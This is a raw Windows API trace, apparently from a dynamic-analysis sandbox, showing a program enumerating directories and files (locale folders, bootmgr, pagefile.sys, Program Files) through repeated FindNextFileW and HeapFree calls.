	[0134.621] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0134.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.621] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0134.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.621] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0134.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.622] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0134.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.622] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0134.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.622] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0134.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.622] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0134.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.623] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0134.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.623] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0134.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.623] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0134.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.624] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0134.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.624] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0134.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0134.625] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0134.625] FindClose (in: hFindFile=0x5dd580 | out: hFindFile=0x5dd580) returned 1
	[0134.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.625] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0134.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.625] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0134.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.626] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0134.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.626] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0134.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.626] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0134.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.626] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0134.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.627] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0134.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.627] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0134.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.627] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0134.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.628] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0134.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.628] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0134.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.628] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0134.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.629] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0134.629] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0134.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.630] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0134.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0134.631] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0134.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0134.631] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1060a9c8, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0134.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0134.904] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x11c55633, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0134.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.904] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bbbed4f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9bbbed4f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0134.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0134.905] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0134.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4580088 | out: hHeap=0x4f0000) returned 1
	[0134.909] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1
	[0135.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.116] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0135.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.116] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0135.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.116] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0135.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.116] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0135.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
	[0135.117] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0135.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4590090 | out: hHeap=0x4f0000) returned 1
